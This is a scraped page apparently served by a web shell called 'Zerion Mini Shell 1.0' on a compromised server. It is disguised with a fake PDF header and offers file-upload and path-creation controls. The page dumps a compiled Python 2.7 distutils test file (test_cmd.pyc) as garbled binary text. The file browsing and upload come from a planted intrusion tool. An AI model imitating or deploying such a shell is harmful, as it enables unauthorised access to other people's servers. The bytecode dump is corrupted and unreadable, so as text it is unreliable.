%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python2.7/distutils/tests/
Upload File :
Create Path :
Current File : //usr/local/lib/python2.7/distutils/tests/test_cmd.pyc

ó
Pêáac@sÌdZddlZddlZddlmZmZddlmZddlm	Z	ddl
mZddlm
Z
defd	„ƒYZd
ejfd„ƒYZd„Zed
krÈeeƒƒndS(sTests for distutils.cmd.iÿÿÿÿN(tcaptured_stdouttrun_unittest(tCommand(tDistribution(tDistutilsOptionError(tdebugtMyCmdcBseZd„ZRS(cCsdS(N((tself((s4/usr/local/lib/python2.7/distutils/tests/test_cmd.pytinitialize_optionss(t__name__t
__module__R(((s4/usr/local/lib/python2.7/distutils/tests/test_cmd.pyRstCommandTestCasecBsPeZd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Z	RS(cCstƒ}t|ƒ|_dS(N(RRtcmd(Rtdist((s4/usr/local/lib/python2.7/distutils/tests/test_cmd.pytsetUps	cCsü|j}dddg|_dddg|_tƒ|_d|_|jdƒ|jdƒ|jt|jdƒ|jt|jd	ƒd
|_	|jdƒ|j
|j	ddgƒd
dg|_|jdƒddg|_|jt|jdƒdS(Ntoneitthreettwotoktyes_string_listtyes_string_list2tnot_string_listtnot_string_list2sok,doktoption1tdoktxxxtwwwtoption2toption3(
RRRtobjectRRtensure_string_listtassertRaisesRRtassertEqualRR(RR((s4/usr/local/lib/python2.7/distutils/tests/test_cmd.pyttest_ensure_string_lists&		

	
	
	

cs{ˆj}ˆjt|jdddddddd
ƒ‡fd†}t|_||_|jdddd	ddddƒdS(Ntinfilesitoutfilettfunctargscsˆj|dƒdS(Nsgenerating out from in(R (R%R&texec_msgtlevel(R(s4/usr/local/lib/python2.7/distutils/tests/test_cmd.pyt_execute:stintout(((RRt	TypeErrort	make_filetTruetforcetexecute(RRR)((Rs4/usr/local/lib/python2.7/distutils/tests/test_cmd.pyttest_make_file1s			csug‰‡fd†}|j}||_d|_d|_d	d
g|_|jƒdddg}|jˆ|ƒdS(Ncsˆj|ƒdS(N(tappend(tmsgR((tmsgs(s4/usr/local/lib/python2.7/distutils/tests/test_cmd.pyt	_announceCsiRR$Rscommand options for 'MyCmd':s
  option1 = 1s
  option2 = 1(RR$R$(RR$R$(RtannounceRRtuser_optionstdump_optionsR (RR5Rtwanted((R4s4/usr/local/lib/python2.7/distutils/tests/test_cmd.pyttest_dump_options@s				
	cCsq|j}d|_|jdƒd|_|jddƒ|jt|dƒƒd|_|jt	|jdƒdS(NRRRRiR(
RRt
ensure_stringtNoneRt
assertTruethasattrRRR(RR((s4/usr/local/lib/python2.7/distutils/tests/test_cmd.pyttest_ensure_stringPs		
		cCsB|j}t|_|jdƒd|_|jt|jdƒdS(NRRR(Rt__file__Rtensure_filenameRRR(RR((s4/usr/local/lib/python2.7/distutils/tests/test_cmd.pyttest_ensure_filename\s
		
	cCsW|j}tjjtƒp!tj|_|jdƒd|_|j	t
|jdƒdS(NRRR(RtostpathtdirnameR@tcurdirRtensure_dirnameRRR(RR((s4/usr/local/lib/python2.7/distutils/tests/test_cmd.pyttest_ensure_dirnamecs
	
	cCs«|j}tƒ}|jdƒWdQX|jdƒ|j|jƒdƒtt_zFtƒ}|jdƒWdQX|jdƒ|j|jƒdƒWdt	t_XdS(NRiR$sxxx
(
RRtdebug_printtseekR treadR.RtDEBUGtFalse(RRtstdout((s4/usr/local/lib/python2.7/distutils/tests/test_cmd.pyttest_debug_printjs	
	
(
R	R
RR!R1R:R?RBRHRO(((s4/usr/local/lib/python2.7/distutils/tests/test_cmd.pyRs							cCs
tjtƒS(N(tunittestt	makeSuiteR(((s4/usr/local/lib/python2.7/distutils/tests/test_cmd.pyt
test_suitezst__main__(t__doc__RPRCttest.test_supportRRt
distutils.cmdRtdistutils.distRtdistutils.errorsRt	distutilsRRtTestCaseRRRR	(((s4/usr/local/lib/python2.7/distutils/tests/test_cmd.pyt<module>sk	

Zerion Mini Shell 1.0